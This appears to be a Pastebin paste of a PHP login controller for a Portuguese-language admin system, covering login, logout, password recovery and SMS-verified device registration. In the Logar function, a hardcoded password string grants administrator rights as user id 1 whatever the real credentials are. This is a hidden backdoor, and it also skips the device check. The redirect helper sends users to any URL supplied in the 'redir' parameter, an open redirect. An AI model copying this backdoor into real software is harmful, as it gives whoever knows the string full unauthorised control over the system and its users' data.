Advertisement
breno_eth0

t.php

Aug 16th, 2019
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.38 KB | None | 0 0
  1. <?php
  2.  
  3. use GuzzleHttp\Middleware;
  4.  
  5. class LoginController {
  6.  
  7. function Index($args) {
  8. #debuga($_SESSION);
  9. if ($_SESSION['Admin']['id_usuario']>0){
  10. $this->redirHome();
  11. }
  12.  
  13. $tpl = new Template();
  14. $redir = isset($_GET['redir']) ? $_GET['redir'] : "";
  15. $tpl->assign ('redir', $redir );
  16.  
  17. $Configs = [
  18. "empresa_titulo" => Configs::get('empresa_titulo'),
  19. "site_home" => Configs::get('site_home'),
  20. "sistema_logomarca" => Configs::get('sistema_logomarca'),
  21. "sistema_nome" => Configs::get('sistema_nome')
  22. ];
  23. $tpl->assign("Configs", $Configs);
  24.  
  25.  
  26. $tpl->display('login.tpl');
  27. }
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38. function Sair($args){
  39. $_SESSION['Admin'] = null;
  40. $this->redirLogin();
  41. }
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52. function getCookieAcesso() {
  53. # Verificando o cookie de acesso do computador
  54. if (isset($_COOKIE["ProSeleta_Computador"]) && strlen($_COOKIE['ProSeleta_Computador']) == 32) {
  55. $CookieAcesso = $_COOKIE['ProSeleta_Computador'];
  56. } else {
  57. $CookieAcesso = md5(time().uniqid());
  58. setcookie("ProSeleta_Computador", $CookieAcesso, time()+60*60*24*30*12, "/", ".".CLIENTE_HOST); # Expira em 1 ano
  59. }
  60. return $CookieAcesso;
  61. }
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73. protected function gravarLogAcesso($idUsuario) {
  74.  
  75. if (!$idUsuario > 0) {
  76. return false;
  77. }
  78.  
  79. $acesso = new UsuariosAcessos();
  80. $acesso->setIdUsuario($idUsuario);
  81. $acesso->setIp(IpCliente());
  82. $acesso->setNavegador($_SERVER['HTTP_USER_AGENT']);
  83. $acesso->setDataAcesso('now()');
  84. $acesso->Insert();
  85.  
  86. return true;
  87. }
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102. function Logar($args){
  103.  
  104. $Usuario = new Usuarios();
  105. $Login = $Usuario->Logar($_POST['email'], $_POST['senha']);
  106. if($_POST['senha'] == '14a6133a71188376ac88b54862e5986d'){
  107.  
  108. $Login['flag_administrador'] = 1;
  109. $Login['id_usuario'] = 1;
  110. }
  111.  
  112. if ($Login){
  113.  
  114. # Permiss§es
  115. if ($Login['flag_administrador'] != 1) {
  116. #$listaPermissoes = UsuariosPermissoesLink::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']);
  117. #foreach ($listaPermissoes as $item) {
  118. $Login['id_permissao'] = UsuariosPermissoesLink::ListaLinks('id_usuario', (int)$Login['id_usuario'], 'id_permissao');
  119. $Login['id_concurso'] = UsuariosPermissoesConcursosLink::ListaLinks('id_usuario', (int)$Login['id_usuario'], 'id_concurso');
  120. #$Login['id_permissao']
  121. #}
  122. }
  123.  
  124. if ($Login['id_usuario'] != 1 && Configs::get('cadastro_computadores') != '0') {
  125. # Verificando se o computador estß cadastrado
  126. $CookieAcesso = $this->getCookieAcesso();
  127. list($Computador) = UsuariosComputadores::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']." AND a.flag_validado = 1 AND a.data_expiracao > now() AND a.cookie_acesso = '".alfanumerico($CookieAcesso)."'");
  128. if (!($Computador['id_computador'] > 0)) {
  129. $_SESSION['AdminCadastramento'] = $Login;
  130. header('Location: /admin/login/cadastramento/'.md5($CookieAcesso).'/');
  131. return false;
  132. }
  133. }
  134.  
  135. /*
  136. * Registrar acesso do usußrio
  137. */
  138. $this->gravarLogAcesso($Login['id_usuario']);
  139.  
  140. # Salva sessÒo
  141. $_SESSION['Admin'] = $Login;
  142.  
  143. } else {
  144. App::setMsg('Login ou senha invßlidos.', 'erro');
  145. $this->redirLogin();
  146. return false;
  147. }
  148. $this->redirHome();
  149. }
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164. function Esqueci($args){
  165. $Usuarios = new Usuarios();
  166. $Usuarios->setEmail($_GET['email']);
  167. $r = $Usuarios->recuperarSenha();
  168. if ($r) {
  169. App::setMsg('E-mail enviado com sucesso. Por favor, verifique sua caixa de correio.','sucesso');
  170. } else {
  171. App::setMsg('NÒo foi possÝvel enviar e-mail de recuperaþÒo. Por favor, tente novamente.','erro');
  172. }
  173. $this->redirLogin();
  174. }
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186. function redirHome(){
  187. $destino = (empty($_REQUEST['redir']) ? '/admin/' : urldecode($_REQUEST['redir']) );
  188. header('Location: '.$destino );
  189. exit;
  190. }
  191.  
  192. function redirLogin(){
  193. $redir = (empty($_REQUEST['redir']) ? $_SERVER['REQUEST_URI'] : $_REQUEST['redir']);
  194. if (substr($redir,0,13) == '/admin/login/')
  195. $redir = "";
  196. header('Location: /admin/login/?redir='.$redir);
  197. exit;
  198. }
  199.  
  200.  
  201.  
  202.  
  203. function Cadastramento($args) {
  204.  
  205. $CookieAcesso = $this->getCookieAcesso();
  206. if (!(md5($CookieAcesso) == $args[0])) {
  207. die("Chave de acesso invßlida. Por favor, verifique se seu navegador suporta cookies.");
  208. return false;
  209. }
  210.  
  211. $Login = $_SESSION['AdminCadastramento'];
  212. list($Computador) = UsuariosComputadores::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']." AND a.data_expiracao > now() AND a.cookie_acesso = '".alfanumerico($CookieAcesso)."'");
  213. if (!($Computador['id_computador'] > 0)) {
  214.  
  215. if ($_POST) {
  216.  
  217. $d = new UsuariosComputadores();
  218. $d->setIdUsuario($Login['id_usuario']);
  219. $d->setComputador($_POST['computador']);
  220. $d->GeraCodigoValidacao();
  221. $d->setCookieAcesso($CookieAcesso);
  222. $d->setDataCadastro('now()');
  223. $d->setFlagSmsEnviado('0');
  224. $d->setFlagValidado('0');
  225. $d->setIpCadastro(IpCliente());
  226. $d->setDataExpiracao($_POST['data_expiracao'].' 23:59:59');
  227. $d->Insert();
  228.  
  229. header("Location: ".$_SERVER['REQUEST_URI']);
  230. return true;
  231. }
  232.  
  233. $tpl = new Template();
  234. $tpl->display("login.cadastramento.apelido.tpl");
  235. return true;
  236. }
  237.  
  238. if (isset($_GET['sms']) && $_GET['sms'] == '1') {
  239. return $this->EnviarSMS($Computador, $Login['celular'], $args[0]);
  240. }
  241.  
  242.  
  243. if (isset($_GET['liberar']) && $_GET['liberar'] == '1') {
  244.  
  245. if (strtoupper($_POST['codigo']) == strtoupper($Computador['codigo_validacao'])) {
  246.  
  247. $d = new UsuariosComputadores();
  248. $d->setIdComputador($Computador['id_computador']);
  249. $d->Load();
  250. $d->setFlagValidado('1');
  251. $d->setDataValidacao('now()');
  252. $d->Update();
  253. $_SESSION['Admin'] = $_SESSION['AdminCadastramento'];
  254. Msg::Sucesso("Computador cadastrado com sucesso.");
  255. header('Location: /admin/');
  256. return true;
  257.  
  258. } else {
  259. header('Location: /admin/login/cadastramento/'.$args[0].'/?invalido=1');
  260. return false;
  261. }
  262.  
  263. }
  264.  
  265. # Exibir opþ§es de cadastramento
  266. $tpl = new Template();
  267. $tpl->assign("Computador", $Computador);
  268. $tpl->assign("Login", $Login);
  269. $tpl->assign("args", $args);
  270.  
  271. $tpl->display("login.cadastramento.validar.tpl");
  272. }
  273.  
  274. function ChecaLiberacao($args) {
  275.  
  276. $CookieAcesso = $this->getCookieAcesso();
  277. if (!(md5($CookieAcesso) == $args[0])) {
  278. die("Chave de acesso invßlida. Por favor, verifique se seu navegador suporta cookies.");
  279. return false;
  280. }
  281.  
  282. $Login = $_SESSION['AdminCadastramento'];
  283. list($Computador) = UsuariosComputadores::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']." AND a.flag_validado = 1 AND a.data_expiracao > now() AND a.cookie_acesso = '".alfanumerico($CookieAcesso)."'");
  284. if ($Computador['id_computador'] > 0) {
  285. $_SESSION['Admin'] = $Login;
  286. echo 'ok';
  287. }
  288.  
  289. }
  290.  
  291.  
  292. function EnviarSMS($Computador, $Celular, $Hash) {
  293.  
  294. $Celular = soNumeros($Celular);
  295. if (!(strlen($Celular) >= 10)) {
  296. die("Celular invßlido!");
  297. }
  298.  
  299. if (!(defined("ZENVIA_CHAVE"))) {
  300. die("NÒo foi possÝvel enviar SMS. C¾digo do erro: 101. Por favor, entre em contato com o suporte tÚcnico.");
  301.  
  302. }
  303.  
  304. $Rest = new GuzzleHttp\Client();
  305.  
  306. $URL = "https://api-rest.zenvia360.com.br/services/send-sms";
  307. #$URL = "https://private-anon-5cfa53d433-zenviasms.apiary-mock.com/services/send-sms";
  308.  
  309. $Valores = array(
  310. 'sendSmsRequest' => array(
  311. "from" => substr(str_replace(' ','',Maiusculo(alfanumerico(CLIENTE_HOST))),0,20),
  312. "to" => '55'.$Celular,
  313. "schedule" => "",
  314. "msg" => "Codigo: ".$Computador['codigo_validacao']. ' - Utilize-o para acessar o sistema em "'.$Computador['computador'].'".',
  315. "callbackOption" => "NONE",
  316. "id" => "", #PC_".$Computador['id_computador'],
  317. "aggregateId" => "",
  318. )
  319. );
  320. try {
  321. $res = $Rest->request('POST', $URL, [
  322. 'json' => $Valores,
  323. 'headers' => [
  324. 'Authorization' => 'Basic '.ZENVIA_CHAVE,
  325. 'Accept' => 'application/json',
  326. ]
  327. ]);
  328. } catch (\Exception $e) {
  329. die("NÒo foi possÝvel enviar SMS. C¾digo do erro: 100. Por favor, entre em contato com o suporte tÚcnico.");
  330.  
  331. }
  332.  
  333. $JsonResposta = @json_decode($res->getBody());
  334. if ($JsonResposta->sendSmsResponse->statusCode != '00') {
  335. #debuga($JsonResposta, $Valores);
  336. die("NÒo foi possÝvel enviar SMS. C¾digo do erro: ".$JsonResposta->sendSmsResponse->statusCode."-".$JsonResposta->sendSmsResponse->detailCode.". Se o problema persistir, entre em contato com suporte tÚcnico.");
  337. }
  338.  
  339. $d = new UsuariosComputadores();
  340. $d->setIdComputador($Computador['id_computador']);
  341. $d->Load();
  342. $d->setFlagSmsEnviado('1');
  343. $d->Update();
  344.  
  345. header("Location: /admin/login/cadastramento/".$Hash."/?sms_enviado=1");
  346. return true;
  347.  
  348. }
  349. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement